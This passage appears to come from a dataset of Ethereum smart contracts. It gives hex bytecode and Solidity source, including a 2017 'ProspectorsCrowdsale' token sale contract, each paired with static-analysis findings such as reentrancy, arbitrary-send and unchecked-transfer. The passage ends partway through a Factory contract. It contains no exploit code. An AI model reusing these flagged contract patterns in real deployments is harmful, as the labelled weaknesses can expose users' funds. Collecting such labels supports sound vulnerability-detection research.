900460ff166117ae576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561183957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561189c57611846612279565b816118508461099b565b61185a9190613396565b111561189b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189290613111565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119475750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561199d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b6a57601360149054906101000a900460ff166119f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e890613271565b60405180910390fd5b6008600a81905550601360159054906101000a900460ff1615611b0057426014541115611aff57601054811115611a2757600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa290613131565b60405180910390fd5b602d42611ab89190613396565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601360159054906101000a900460ff1615611b6957600f42611b229190613396565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611b753061099b565b9050601360169054906101000a900460ff16158015611be25750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bfa5750601360149054906101000a900460ff165b15611d7c576008600a81905550601360159054906101000a900460ff1615611ca15742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611ca0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9790613191565b60405180910390fd5b5b6000811115611d6257611cfc6064611cee600b54611ce0601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661099b565b6122a190919063ffffffff16565b61231c90919063ffffffff16565b811115611d5857611d556064611d47600b54611d39601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661099b565b6122a190919063ffffffff16565b61231c90919063ffffffff16565b90505b611d6181611f7f565b5b60004790506000811115611d7a57611d7947611ea5565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e255750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611e2f57600090505b611e3b84848484612366565b50505050565b6000838311158290611e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e80919061308f565b60405180910390fd5b5060008385611e989190613477565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f0d573d6000803e3d6000fd5b5050565b6000600754821115611f58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4f906130d1565b60405180910390fd5b6000611f62612393565b9050611f77818461231c90919063ffffffff16565b915050919050565b6001601360166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561200b5781602001602082028036833780820191505090505b5090503081600081518110612049577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156120eb57600080fd5b505afa1580156120ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121239190612a8a565b8160018151811061215d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121c430601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611345565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122289594939291906132cc565b600060405180830381600087803b15801561224257600080fd5b505af1158015612256573d6000803e3d6000fd5b50505050506000601360166101000a81548160ff02191690831515021790555050565b6000606460155461228861059c565b612292919061341d565b61229c91906133ec565b905090565b6000808314156122b45760009050612316565b600082846122c2919061341d565b90508284826122d191906133ec565b14612311576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612308906131b1565b60405180910390fd5b809150505b92915050565b600061235e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123be565b905092915050565b8061237457612373612421565b5b61237f848484612464565b8061238d5761238c61262f565b5b50505050565b60008060006123a0612643565b915091506123b7818361231c90919063ffffffff16565b9250505090565b60008083118290612405576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123fc919061308f565b60405180910390fd5b506000838561241491906133ec565b9050809150509392505050565b600060095414801561243557506000600a54145b1561243f57612462565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612476876126a8565b9550955095509550955095506124d486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461275a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125b5816127b8565b6125bf8483612875565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161261c91906132b1565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b60008060006007549050600069152d02c7e14af6800000905061267b69152d02c7e14af680000060075461231c90919063ffffffff16565b82101561269b5760075469152d02c7e14af68000009350935050506126a4565b81819350935050505b9091565b60008060008060008060008060006126c58a600954600a546128af565b92509250925060006126d5612393565b905060008060006126e88e878787612945565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061275283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e41565b905092915050565b60008082846127699190613396565b9050838110156127ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a590613151565b60405180910390fd5b8091505092915050565b60006127c2612393565b905060006127d982846122a190919063ffffffff16565b905061282d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461275a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61288a8260075461271090919063ffffffff16565b6007819055506128a58160085461275a90919063ffffffff16565b6008819055505050565b6000806000806128db60646128cd888a6122a190919063ffffffff16565b61231c90919063ffffffff16565b9050600061290560646128f7888b6122a190919063ffffffff16565b61231c90919063ffffffff16565b9050600061292e82612920858c61271090919063ffffffff16565b61271090919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061295e85896122a190919063ffffffff16565b9050600061297586896122a190919063ffffffff16565b9050600061298c87896122a190919063ffffffff16565b905060006129b5826129a7858761271090919063ffffffff16565b61271090919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000813590506129dd816139c0565b92915050565b6000815190506129f2816139c0565b92915050565b600081359050612a07816139d7565b92915050565b600081519050612a1c816139d7565b92915050565b600081359050612a31816139ee565b92915050565b600081519050612a46816139ee565b92915050565b600081359050612a5b81613a05565b92915050565b600060208284031215612a7357600080fd5b6000612a81848285016129ce565b91505092915050565b600060208284031215612a9c57600080fd5b6000612aaa848285016129e3565b91505092915050565b60008060408385031215612ac657600080fd5b6000612ad4858286016129ce565b9250506020612ae5858286016129ce565b9150509250929050565b600080600060608486031215612b0457600080fd5b6000612b12868287016129ce565b9350506020612b23868287016129ce565b9250506040612b3486828701612a22565b9150509250925092565b60008060408385031215612b5157600080fd5b6000612b5f858286016129ce565b9250506020612b7085828601612a22565b9150509250929050565b600060208284031215612b8c57600080fd5b6000612b9a848285016129f8565b91505092915050565b600060208284031215612bb557600080fd5b6000612bc384828501612a0d565b91505092915050565b600060208284031215612bde57600080fd5b6000612bec84828501612a22565b91505092915050565b600080600060608486031215612c0a57600080fd5b6000612c1886828701612a37565b9350506020612c2986828701612a37565b9250506040612c3a86828701612a37565b9150509250925092565b600060208284031215612c5657600080fd5b6000612c6484828501612a4c565b91505092915050565b6000612c798383612c85565b60208301905092915050565b612c8e816134ab565b82525050565b612c9d816134ab565b82525050565b6000612cae82613351565b612cb88185613374565b9350612cc383613341565b8060005b83811015612cf4578151612cdb8882612c6d565b9750612ce683613367565b925050600181019050612cc7565b5085935050505092915050565b612d0a816134bd565b82525050565b612d1981613500565b82525050565b6000612d2a8261335c565b612d348185613385565b9350612d44818560208601613512565b612d4d816135a3565b840191505092915050565b6000612d65602383613385565b9150612d70826135b4565b604082019050919050565b6000612d88602a83613385565b9150612d9382613603565b604082019050919050565b6000612dab602283613385565b9150612db682613652565b604082019050919050565b6000612dce601983613385565b9150612dd9826136a1565b602082019050919050565b6000612df1602283613385565b9150612dfc826136ca565b604082019050919050565b6000612e14601b83613385565b9150612e1f82613719565b602082019050919050565b6000612e37601583613385565b9150612e4282613742565b602082019050919050565b6000612e5a602383613385565b9150612e658261376b565b604082019050919050565b6000612e7d602183613385565b9150612e88826137ba565b604082019050919050565b6000612ea0602083613385565b9150612eab82613809565b602082019050919050565b6000612ec3602983613385565b9150612ece82613832565b604082019050919050565b6000612ee6602583613385565b9150612ef182613881565b604082019050919050565b6000612f09602483613385565b9150612f14826138d0565b604082019050919050565b6000612f2c601783613385565b9150612f378261391f565b602082019050919050565b6000612f4f601883613385565b9150612f5a82613948565b602082019050919050565b6000612f72602583613385565b9150612f7d82613971565b604082019050919050565b612f91816134e9565b82525050565b612fa0816134f3565b82525050565b6000602082019050612fbb6000830184612c94565b92915050565b6000604082019050612fd66000830185612c94565b612fe36020830184612c94565b9392505050565b6000604082019050612fff6000830185612c94565b61300c6020830184612f88565b9392505050565b600060c0820190506130286000830189612c94565b6130356020830188612f88565b6130426040830187612d10565b61304f6060830186612d10565b61305c6080830185612c94565b61306960a0830184612f88565b979650505050505050565b60006020820190506130896000830184612d01565b92915050565b600060208201905081810360008301526130a98184612d1f565b905092915050565b600060208201905081810360008301526130ca81612d58565b9050919050565b600060208201905081810360008301526130ea81612d7b565b9050919050565b6000602082019050818103600083015261310a81612d9e565b9050919050565b6000602082019050818103600083015261312a81612dc1565b9050919050565b6000602082019050818103600083015261314a81612de4565b9050919050565b6000602082019050818103600083015261316a81612e07565b9050919050565b6000602082019050818103600083015261318a81612e2a565b9050919050565b600060208201905081810360008301526131aa81612e4d565b9050919050565b600060208201905081810360008301526131ca81612e70565b9050919050565b600060208201905081810360008301526131ea81612e93565b9050919050565b6000602082019050818103600083015261320a81612eb6565b9050919050565b6000602082019050818103600083015261322a81612ed9565b9050919050565b6000602082019050818103600083015261324a81612efc565b9050919050565b6000602082019050818103600083015261326a81612f1f565b9050919050565b6000602082019050818103600083015261328a81612f42565b9050919050565b600060208201905081810360008301526132aa81612f65565b9050919050565b60006020820190506132c66000830184612f88565b92915050565b600060a0820190506132e16000830188612f88565b6132ee6020830187612d10565b81810360408301526133008186612ca3565b905061330f6060830185612c94565b61331c6080830184612f88565b9695505050505050565b600060208201905061333b6000830184612f97565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133a1826134e9565b91506133ac836134e9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133e1576133e0613545565b5b828201905092915050565b60006133f7826134e9565b9150613402836134e9565b92508261341257613411613574565b5b828204905092915050565b6000613428826134e9565b9150613433836134e9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561346c5761346b613545565b5b828202905092915050565b6000613482826134e9565b915061348d836134e9565b9250828210156134a05761349f613545565b5b828203905092915050565b60006134b6826134c9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061350b826134e9565b9050919050565b60005b83811015613530578082015181840152602081019050613515565b8381111561353f576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d617820686f6c64696e67206361702062726561636865642e00000000000000600082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b7f4d617820686f6c64696e67206361702063616e6e6f74206265206c657373207460008201527f68616e2031000000000000000000000000000000000000000000000000000000602082015250565b6139c9816134ab565b81146139d457600080fd5b50565b6139e0816134bd565b81146139eb57600080fd5b50565b6139f7816134e9565b8114613a0257600080fd5b50565b613a0e816134f3565b8114613a1957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f289d973335fa3210d506d7d7539e0278d7a773cd2915bd5370dfe66e7b63e0964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,224 |
0x1eb0d4794d4067ed004c9d55ff6eb50620b27c58
|
pragma solidity ^0.4.14;
contract DSMath {
/*
standard uint256 functions
*/
function add(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x + y) >= x);
}
function sub(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x - y) <= x);
}
function mul(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x * y) >= x);
}
function div(uint256 x, uint256 y) constant internal returns (uint256 z) {
z = x / y;
}
function min(uint256 x, uint256 y) constant internal returns (uint256 z) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) constant internal returns (uint256 z) {
return x >= y ? x : y;
}
/*
uint128 functions (h is for half)
*/
function hadd(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x + y) >= x);
}
function hsub(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x - y) <= x);
}
function hmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x * y) >= x);
}
function hdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = x / y;
}
function hmin(uint128 x, uint128 y) constant internal returns (uint128 z) {
return x <= y ? x : y;
}
function hmax(uint128 x, uint128 y) constant internal returns (uint128 z) {
return x >= y ? x : y;
}
/*
int256 functions
*/
function imin(int256 x, int256 y) constant internal returns (int256 z) {
return x <= y ? x : y;
}
function imax(int256 x, int256 y) constant internal returns (int256 z) {
return x >= y ? x : y;
}
/*
WAD math
*/
uint128 constant WAD = 10 ** 18;
function wadd(uint128 x, uint128 y) constant internal returns (uint128) {
return hadd(x, y);
}
function wsub(uint128 x, uint128 y) constant internal returns (uint128) {
return hsub(x, y);
}
function wmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * y + WAD / 2) / WAD);
}
function wdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * WAD + y / 2) / y);
}
function wmin(uint128 x, uint128 y) constant internal returns (uint128) {
return hmin(x, y);
}
function wmax(uint128 x, uint128 y) constant internal returns (uint128) {
return hmax(x, y);
}
/*
RAY math
*/
uint128 constant RAY = 10 ** 27;
function radd(uint128 x, uint128 y) constant internal returns (uint128) {
return hadd(x, y);
}
function rsub(uint128 x, uint128 y) constant internal returns (uint128) {
return hsub(x, y);
}
function rmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * y + RAY / 2) / RAY);
}
function rdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * RAY + y / 2) / y);
}
function rpow(uint128 x, uint64 n) constant internal returns (uint128 z) {
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
function rmin(uint128 x, uint128 y) constant internal returns (uint128) {
return hmin(x, y);
}
function rmax(uint128 x, uint128 y) constant internal returns (uint128) {
return hmax(x, y);
}
function cast(uint256 x) constant internal returns (uint128 z) {
assert((z = uint128(x)) == x);
}
}
contract Owned
{
address public owner;
function Owned()
{
owner = msg.sender;
}
modifier onlyOwner()
{
if (msg.sender != owner) revert();
_;
}
}
contract ProspectorsCrowdsale is Owned, DSMath
{
ProspectorsGoldToken public token;
address public dev_multisig; //multisignature wallet to collect funds
uint public total_raised; //crowdsale total funds raised
uint public contributors_count = 0; //crowdsale total funds raised
uint public constant start_time = 1502377200; //crowdsale start time - August 10, 15:00 UTC
uint public constant end_time = 1505055600; //crowdsale end time - Septempber 10, 15:00 UTC
uint public constant bonus_amount = 10000000 * 10**18; //amount of tokens by bonus price
uint public constant start_amount = 60000000 * 10**18; //tokens amount allocated for crowdsale
uint public constant price = 0.0005 * 10**18; //standart token price in ETH
uint public constant bonus_price = 0.0004 * 10**18; //bonus token price in ETH
uint public constant goal = 2000 ether; //soft crowdsale cap. If not reached funds will be returned
bool private closed = false; //can be true after end_time or when all tokens sold
mapping(address => uint) funded; //needed to save amounts of ETH for refund
modifier in_time //allows send eth only when crowdsale is active
{
if (time() < start_time || time() > end_time) revert();
_;
}
function is_success() public constant returns (bool)
{
return closed == true && total_raised >= goal;
}
function time() public constant returns (uint)
{
return block.timestamp;
}
function my_token_balance() public constant returns (uint)
{
return token.balanceOf(this);
}
//tokens amount available by bonus price
function available_with_bonus() public constant returns (uint)
{
return my_token_balance() >= min_balance_for_bonus() ?
my_token_balance() - min_balance_for_bonus()
:
0;
}
function available_without_bonus() private constant returns (uint)
{
return min(my_token_balance(), min_balance_for_bonus());
}
function min_balance_for_bonus() private constant returns (uint)
{
return start_amount - bonus_amount;
}
//prevent send less than 0.01 ETH
modifier has_value
{
if (msg.value < 0.01 ether) revert();
_;
}
function init(address _token_address, address _dev_multisig) onlyOwner
{
if (address(0) != address(token)) revert();
token = ProspectorsGoldToken(_token_address);
dev_multisig = _dev_multisig;
}
//main contribute function
function participate() in_time has_value private {
if (my_token_balance() == 0 || closed == true) revert();
var remains = msg.value;
//calculate tokens amount by bonus price
var can_with_bonus = wdiv(cast(remains), cast(bonus_price));
var buy_amount = cast(min(can_with_bonus, available_with_bonus()));
remains = sub(remains, wmul(buy_amount, cast(bonus_price)));
if (buy_amount < can_with_bonus) //calculate tokens amount by standart price if tokens with bonus don't cover eth amount
{
var can_without_bonus = wdiv(cast(remains), cast(price));
var buy_without_bonus = cast(min(can_without_bonus, available_without_bonus()));
remains = sub(remains, wmul(buy_without_bonus, cast(price)));
buy_amount = hadd(buy_amount, buy_without_bonus);
}
if (remains > 0) revert();
total_raised = add(total_raised, msg.value);
if (funded[msg.sender] == 0) contributors_count++;
funded[msg.sender] = add(funded[msg.sender], msg.value);
token.transfer(msg.sender, buy_amount); //transfer tokens to participant
}
function refund() //allows get eth back if min goal not reached
{
if (total_raised >= goal || closed == false) revert();
var amount = funded[msg.sender];
if (amount > 0)
{
funded[msg.sender] = 0;
msg.sender.transfer(amount);
}
}
function closeCrowdsale() //close crowdsale. this action unlocks refunds or token transfers
{
if (closed == false && time() > start_time && (time() > end_time || my_token_balance() == 0))
{
closed = true;
if (is_success())
{
token.unlock(); //unlock token transfers
if (my_token_balance() > 0)
{
token.transfer(0xb1, my_token_balance()); //move not saled tokens to game balance
}
}
}
else
{
revert();
}
}
function collect() //collect eth by devs if min goal reached
{
if (total_raised < goal) revert();
dev_multisig.transfer(this.balance);
}
function () payable external
{
participate();
}
//allows destroy this whithin 180 days after crowdsale ends
function destroy() onlyOwner
{
if (time() > end_time + 180 days)
{
selfdestruct(dev_multisig);
}
}
}
contract ProspectorsGoldToken {
function balanceOf( address who ) constant returns (uint value);
function transfer( address to, uint value) returns (bool ok);
function unlock() returns (bool ok);
}
|
0x606060405236156101015763ffffffff60e060020a60003504166316243356811461010d57806316ada54714610132578063196667e4146101575780632798d1b21461017c57806340193883146101a1578063590e1ae3146101c657806383197ef0146101db578063834ee417146101f05780638da5cb5b146102155780639308a86514610244578063983c0a01146102695780639aa035dd1461027e5780639f7904af146102ad578063a035b1fe146102d2578063bbb28a65146102f7578063c6b0ffd01461031c578063d2a32c1214610343578063d44750f514610368578063e52253811461038d578063f09a4016146103a2578063fc0c546a146103c9575b5b61010a6103f8565b5b005b341561011857600080fd5b610120610685565b60405190815260200160405180910390f35b341561013d57600080fd5b61012061068d565b60405190815260200160405180910390f35b341561016257600080fd5b610120610692565b60405190815260200160405180910390f35b341561018757600080fd5b6101206106a1565b60405190815260200160405180910390f35b34156101ac57600080fd5b61012061071c565b60405190815260200160405180910390f35b34156101d157600080fd5b61010a610729565b005b34156101e657600080fd5b61010a6107bd565b005b34156101fb57600080fd5b6101206107fd565b60405190815260200160405180910390f35b341561022057600080fd5b610228610805565b604051600160a060020a03909116815260200160405180910390f35b341561024f57600080fd5b610120610814565b60405190815260200160405180910390f35b341561027457600080fd5b61010a61081a565b005b341561028957600080fd5b610228610981565b604051600160a060020a03909116815260200160405180910390f35b34156102b857600080fd5b610120610990565b60405190815260200160405180910390f35b34156102dd57600080fd5b6101206109c7565b60405190815260200160405180910390f35b341561030257600080fd5b6101206109d2565b60405190815260200160405180910390f35b341561032757600080fd5b61032f6109d8565b604051901515815260200160405180910390f35b341561034e57600080fd5b610120610a03565b60405190815260200160405180910390f35b341561037357600080fd5b610120610a12565b60405190815260200160405180910390f35b341561039857600080fd5b61010a610a1d565b005b34156103ad57600080fd5b61010a600160a060020a0360043581169060243516610a71565b005b34156103d457600080fd5b610228610ae5565b604051600160a060020a03909116815260200160405180910390f35b600080600080600063598c74f061040d61068d565b108061042357506359b5537061042161068d565b115b1561042d57600080fd5b662386f26fc1000034101561044157600080fd5b6104496106a1565b158061045c575060055460ff1615156001145b1561046657600080fd5b34945061048a61047586610af4565b61048566016bcc41e90000610af4565b610b0d565b93506104ae6104a9856001608060020a03166104a4610990565b610b60565b610af4565b92506104db856104cd856104c866016bcc41e90000610af4565b610b7b565b6001608060020a0316610bc5565b9450836001608060020a0316836001608060020a031610156105785761051861050386610af4565b6104856601c6bf52634000610af4565b610b0d565b915061053c6104a9836001608060020a03166104a4610bd9565b610b60565b610af4565b9050610569856104cd836104c86601c6bf52634000610af4565b610b7b565b6001608060020a0316610bc5565b94506105758382610bf9565b92505b600085111561058657600080fd5b61059260035434610c19565b600355600160a060020a03331660009081526006602052604090205415156105be576004805460010190555b600160a060020a0333166000908152600660205260409020546105e19034610c19565b600160a060020a0333818116600090815260066020526040808220949094556001549092169263a9059cbb928791516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526001608060020a03166024820152604401602060405180830381600087803b151561066057600080fd5b6102c65a03f1151561067157600080fd5b505050604051805150505b5b5b5050505050565b6359b5537081565b425b90565b6a31a17e847807b1bc00000081565b600154600090600160a060020a03166370a0823130836040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156106fc57600080fd5b6102c65a03f1151561070d57600080fd5b50505060405180519150505b90565b686c6b935b8bbd40000081565b6000686c6b935b8bbd400000600354101580610748575060055460ff16155b1561075257600080fd5b50600160a060020a033316600090815260066020526040812054908111156107b857600160a060020a0333166000818152600660205260408082209190915582156108fc0290839051600060405180830381858888f1935050505015156107b857600080fd5b5b5b50565b60005433600160a060020a039081169116146107d857600080fd5b635aa2a1706107e561068d565b11156107f957600254600160a060020a0316ff5b5b5b565b63598c74f081565b600054600160a060020a031681565b60035481565b60055460ff16158015610837575063598c74f061083561068d565b115b801561085c57506359b5537061084b61068d565b118061085c575061085a6106a1565b155b5b15610979576005805460ff191660011790556108776109d8565b1561097357600154600160a060020a031663a69df4b56000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156108c457600080fd5b6102c65a03f115156108d557600080fd5b505050604051805190505060006108ea6106a1565b111561097357600154600160a060020a031663a9059cbb60b161090b6106a1565b60006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561095757600080fd5b6102c65a03f1151561096857600080fd5b505050604051805150505b5b6107f9565b600080fd5b5b565b600254600160a060020a031681565b600061099a610c2d565b6109a26106a1565b10156109af5760006109c1565b6109b7610c2d565b6109bf6106a1565b035b90505b90565b6601c6bf5263400081565b60045481565b60055460009060ff16151560011480156109c15750686c6b935b8bbd40000060035410155b90505b90565b6a084595161401484a00000081565b66016bcc41e9000081565b686c6b935b8bbd4000006003541015610a3557600080fd5b600254600160a060020a039081169030163180156108fc0290604051600060405180830381858888f1935050505015156107f957600080fd5b5b565b60005433600160a060020a03908116911614610a8c57600080fd5b600154600160a060020a031615610aa257600080fd5b60018054600160a060020a0380851673ffffffffffffffffffffffffffffffffffffffff199283161790925560028054928416929091169190911790555b5b5050565b600154600160a060020a031681565b806001608060020a0381168114610b0757fe5b5b919050565b6000610b576001608060020a0383166002815b046001608060020a0316670de0b6b3a76400006001608060020a0316866001608060020a03160201811515610b5157fe5b04610af4565b90505b92915050565b600081831115610b705781610b57565b825b90505b92915050565b6000610b57670de0b6b3a76400006002815b046001608060020a0316846001608060020a0316866001608060020a03160201811515610b5157fe5b04610af4565b90505b92915050565b80820382811115610b5a57fe5b5b92915050565b60006109c1610be66106a1565b6104a4610c2d565b610b60565b90505b90565b8082016001608060020a038084169082161015610b5a57fe5b5b92915050565b80820182811015610b5a57fe5b5b92915050565b6a295be96e640669720000005b905600a165627a7a72305820a4609405cc2256bc1132273371990c4b3ade7cf1b3d90848943a0d3edb0ff4270029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,225 |
0x794d08a63ce6896acfddfe24fa285d6d584a1411
|
pragma solidity ^0.4.15;
contract Factory {
/*
* Events
*/
event ContractInstantiation(address sender, address instantiation);
/*
* Storage
*/
mapping(address => bool) public isInstantiation;
mapping(address => address[]) public instantiations;
/*
* Public functions
*/
/// @dev Returns number of instantiations by creator.
/// @param creator Contract creator.
/// @return Returns number of instantiations by creator.
function getInstantiationCount(address creator)
public
constant
returns (uint)
{
return instantiations[creator].length;
}
/*
* Internal functions
*/
/// @dev Registers contract in factory registry.
